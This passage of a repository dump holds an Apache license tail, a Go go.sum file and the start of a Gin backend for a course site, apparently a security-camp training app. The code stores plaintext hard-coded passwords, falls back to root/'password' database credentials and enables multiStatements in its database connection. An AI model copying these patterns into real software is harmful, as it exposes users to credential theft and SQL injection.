49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/app/backend/go.sum:
--------------------------------------------------------------------------------
1 | filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
2 | filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
3 | github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM=
4 | github.com/bytedance/sonic v1.9.1 h1:6iJ6NqdoxCDr6mbY8h18oSO+cShGSMRGCEo7F2h0x8s=
5 | github.com/bytedance/sonic v1.9.1/go.mod h1:i736AoUSYt75HyZLoJW9ERYxcy6eaN6h4BZXU064P/U=
6 | github.com/bytedance/sonic v1.13.3 h1:MS8gmaH16Gtirygw7jV91pDCN33NyMrPbN7qiYhEsF0=
7 | github.com/bytedance/sonic v1.13.3/go.mod h1:o68xyaF9u2gvVBuGHPlUVCy+ZfmNNO5ETf1+KgkJhz4=
8 | github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU=
9 | github.com/bytedance/sonic/loader v0.2.4 h1:ZWCw4stuXUsn1/+zQDqeE7JKP+QO47tz7QCNan80NzY=
10 | github.com/bytedance/sonic/loader v0.2.4/go.mod h1:N8A3vUdtUebEY2/VQC0MyhYeKUFosQU6FxH2JmUe6VI=
11 | github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY=
12 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 h1:qSGYFH7+jGhDF8vLC+iwCD4WpbV1EBDSzWkJODFLams=
13 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk=
14 | github.com/cloudwego/base64x v0.1.5 h1:XPciSp1xaq2VCSt6lF0phncD4koWyULpl5bUxbfCyP4=
15 | github.com/cloudwego/base64x v0.1.5/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w=
16 | github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY=
17 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
18 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
19 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
20 | github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
21 | github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
22 | github.com/gabriel-vasile/mimetype v1.4.9 h1:5k+WDwEsD9eTLL8Tz3L0VnmVh9QxGjRmjBvAG7U/oYY=
23 | github.com/gabriel-vasile/mimetype v1.4.9/go.mod h1:WnSQhFKJuBlRyLiKohA/2DtIlPFAbguNaG7QCHcyGok=
24 | github.com/gin-contrib/cors v1.7.6 h1:3gQ8GMzs1Ylpf70y8bMw4fVpycXIeX1ZemuSQIsnQQY=
25 | github.com/gin-contrib/cors v1.7.6/go.mod h1:Ulcl+xN4jel9t1Ry8vqph23a60FwH9xVLd+3ykmTjOk=
26 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
27 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
28 | github.com/gin-contrib/sse v1.1.0 h1:n0w2GMuUpWDVp7qSpvze6fAu9iRxJY4Hmj6AmBOU05w=
29 | github.com/gin-contrib/sse v1.1.0/go.mod h1:hxRZ5gVpWMT7Z0B0gSNYqqsSCNIJMjzvm6fqCz9vjwM=
30 | github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg=
31 | github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU=
32 | github.com/gin-gonic/gin v1.10.1 h1:T0ujvqyCSqRopADpgPgiTT63DUQVSfojyME59Ei63pQ=
33 | github.com/gin-gonic/gin v1.10.1/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y=
34 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
35 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
36 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
37 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
38 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
39 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
40 | github.com/go-playground/validator/v10 v10.14.0 h1:vgvQWe3XCz3gIeFDm/HnTIbj6UGmg/+t63MyGU2n5js=
41 | github.com/go-playground/validator/v10 v10.14.0/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU=
42 | github.com/go-playground/validator/v10 v10.26.0 h1:SP05Nqhjcvz81uJaRfEV0YBSSSGMc/iMaVtFbr3Sw2k=
43 | github.com/go-playground/validator/v10 v10.26.0/go.mod h1:I5QpIEbmr8On7W0TktmJAumgzX4CA1XNl4ZmDuVHKKo=
44 | github.com/go-sql-driver/mysql v1.9.3 h1:U/N249h2WzJ3Ukj8SowVFjdtZKfu9vlLZxjPXV1aweo=
45 | github.com/go-sql-driver/mysql v1.9.3/go.mod h1:qn46aNg1333BRMNU69Lq93t8du/dwxI64Gl8i5p1WMU=
46 | github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU=
47 | github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I=
48 | github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
49 | github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
50 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
51 | github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
52 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
53 | github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
54 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
55 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
56 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
57 | github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg=
58 | github.com/klauspost/cpuid/v2 v2.2.4 h1:acbojRNwl3o09bUq+yDCtZFc1aiwaAAxtcn8YkZXnvk=
59 | github.com/klauspost/cpuid/v2 v2.2.4/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY=
60 | github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE=
61 | github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
62 | github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M=
63 | github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q=
64 | github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4=
65 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
66 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
67 | github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA=
68 | github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
69 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
70 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
71 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
72 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
73 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
74 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
75 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
76 | github.com/pelletier/go-toml/v2 v2.0.8 h1:0ctb6s9mE31h0/lhu+J6OPmVeDxJn+kYnJc2jZR9tGQ=
77 | github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4=
78 | github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
79 | github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
80 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
81 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
82 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
83 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
84 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
85 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
86 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
87 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
88 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
89 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
90 | github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
91 | github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY=
92 | github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
93 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
94 | github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
95 | github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
96 | github.com/ugorji/go/codec v1.2.11 h1:BMaWp1Bb6fHwEtbplGBGJ498wD+LKlNSl25MjdZY4dU=
97 | github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=
98 | github.com/ugorji/go/codec v1.3.0 h1:Qd2W2sQawAfG8XSvzwhBeoGq71zXOC/Q1E9y/wUcsUA=
99 | github.com/ugorji/go/codec v1.3.0/go.mod h1:pRBVtBSKl77K30Bv8R2P+cLSGaTtex6fsA2Wjqmfxj4=
100 | golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
101 | golang.org/x/arch v0.3.0 h1:02VY4/ZcO/gBOH6PUaoiptASxtXU10jazRCP865E97k=
102 | golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
103 | golang.org/x/arch v0.18.0 h1:WN9poc33zL4AzGxqf8VtpKUnGvMi8O9lhNyBMF/85qc=
104 | golang.org/x/arch v0.18.0/go.mod h1:bdwinDaKcfZUGpH09BB7ZmOfhalA8lQdzl62l8gGWsk=
105 | golang.org/x/crypto v0.9.0 h1:LF6fAI+IutBocDJ2OT0Q1g8plpYljMZ4+lty+dsqw3g=
106 | golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0=
107 | golang.org/x/crypto v0.39.0 h1:SHs+kF4LP+f+p14esP5jAoDpHU8Gu/v9lFRK6IT5imM=
108 | golang.org/x/crypto v0.39.0/go.mod h1:L+Xg3Wf6HoL4Bn4238Z6ft6KfEpN0tJGo53AAPC632U=
109 | golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M=
110 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
111 | golang.org/x/net v0.41.0 h1:vBTly1HeNPEn3wtREYfy4GZ/NECgw2Cnl+nK6Nz3uvw=
112 | golang.org/x/net v0.41.0/go.mod h1:B/K4NNqkfmg07DQYrbwvSluqCJOOXwUjeb/5lOisjbA=
113 | golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
114 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
115 | golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
116 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
117 | golang.org/x/sys v0.33.0 h1:q3i8TbbEz+JRD9ywIRlyRAQbM0qF7hu24q3teo2hbuw=
118 | golang.org/x/sys v0.33.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
119 | golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE=
120 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
121 | golang.org/x/text v0.26.0 h1:P42AVeLghgTYr4+xUnTRKDMqpar+PtX7KWuNQL21L8M=
122 | golang.org/x/text v0.26.0/go.mod h1:QK15LZJUUQVJxhz7wXgxSy/CJaTFjd0G+YLonydOVQA=
123 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
124 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
125 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
126 | google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
127 | google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
128 | google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY=
129 | google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY=
130 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
131 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
132 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
133 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
134 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
135 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
136 | nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50=
137 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4=
138 |
--------------------------------------------------------------------------------
/app/backend/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "database/sql"
5 | "fmt"
6 | "net/http"
7 | "os"
8 | "os/exec"
9 |
10 | "github.com/gin-contrib/cors"
11 | "github.com/gin-gonic/gin"
12 | _ "github.com/go-sql-driver/mysql"
13 | )
14 |
15 | type User struct {
16 | Username string `json:"username"`
17 | FullName string `json:"full_name"`
18 | Password string `json:"password"`
19 | IsAdmin bool `json:"is_admin"`
20 | Progress map[int]int `json:"progress"`
21 | }
22 |
23 | type Course struct {
24 | ID int `json:"id"`
25 | Title string `json:"title"`
26 | Description string `json:"description"`
27 | }
28 |
29 | var db *sql.DB
30 |
31 | var users = []User{
32 | {Username: "student1", FullName: "Student One", Password: "pass1", Progress: map[int]int{1: 50, 2: 0}},
33 | {Username: "admin", FullName: "Admin User", Password: "adminpass", IsAdmin: true, Progress: map[int]int{}},
34 | }
35 | var courses = []Course{
36 | {ID: 1, Title: "Python入門", Description: "Pythonの基礎を学ぶコース"},
37 | {ID: 2, Title: "Kubernetes基礎", Description: "Kubernetesの基本を学ぶコース"},
38 | }
39 |
40 | func initDB() error {
41 | // 環境変数からDB接続情報を取得
42 | host := os.Getenv("DB_HOST")
43 | if host == "" {
44 | host = "db"
45 | }
46 | port := os.Getenv("DB_PORT")
47 | if port == "" {
48 | port = "3306"
49 | }
50 | user := os.Getenv("DB_USER")
51 | if user == "" {
52 | user = "root"
53 | }
54 | pass := os.Getenv("DB_PASSWORD")
55 | if pass == "" {
56 | pass = "password"
57 | }
58 | name := os.Getenv("DB_NAME")
59 | if name == "" {
60 | name = "seccamp2025"
61 | }
62 | dsn := fmt.Sprintf("%s:%s@tcp(%s:%s)/%s?parseTime=true&multiStatements=true", user, pass, host, port, name)
63 | var err error
64 | db, err = sql.Open("mysql", dsn)
65 | if err != nil {
66 | return err
67 | }
68 | return db.Ping()
69 | }
70 |
71 | func main() {
72 | if err := initDB(); err != nil {
73 | panic(fmt.Sprintf("DB接続失敗: %v", err))
74 | }
75 |
76 | r := gin.Default()
77 | r.Use(cors.Default())
78 |
79 | // コース一覧(DB連携)
80 | r.GET("/courses", func(c *gin.Context) {
81 | rows, err := db.Query("SELECT id, title, description FROM courses")
82 | if err != nil {
83 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
84 | return
85 | }
86 | defer rows.Close()
87 | var courses []Course
88 | for rows.Next() {
89 | var course Course
90 | if err := rows.Scan(&course.ID, &course.Title, &course.Description); err != nil {
91 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
92 | return
93 | }
94 | courses = append(courses, course)
95 | }
96 | c.JSON(http.StatusOK, courses)
97 | })
98 |
99 | // コース詳細
100 | r.GET("/courses/:id", func(c *gin.Context) {
101 | id := c.Param("id")
102 | for _, course := range courses {
103 | if id == string(rune(course.ID)) {
104 | c.JSON(http.StatusOK, course)
105 | return
106 | }
107 | }
108 | c.JSON(http.StatusNotFound, gin.H{"error": "Course not found"})
109 | })
110 |
111 | // ユーザー登録(DB連携)
112 | r.POST("/register", func(c *gin.Context) {
113 | var user User
114 | if err := c.ShouldBindJSON(&user); err != nil {
115 | c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid request"})
116 | return
117 | }
118 | // ユーザー名重複チェック
119 | var exists int
120 | err := db.QueryRow("SELECT COUNT(*) FROM users WHERE username = ?", user.Username).Scan(&exists)
121 | if err != nil {
122 | c.JSON(http.StatusInternalServerError, gin.H{"error": "DB error"})
123 | return
124 | }
125 | if exists > 0 {
126 | c.JSON(http.StatusBadRequest, gin.H{"error": "User already exists"})
127 | return
128 | }
129 | // ユーザー登録
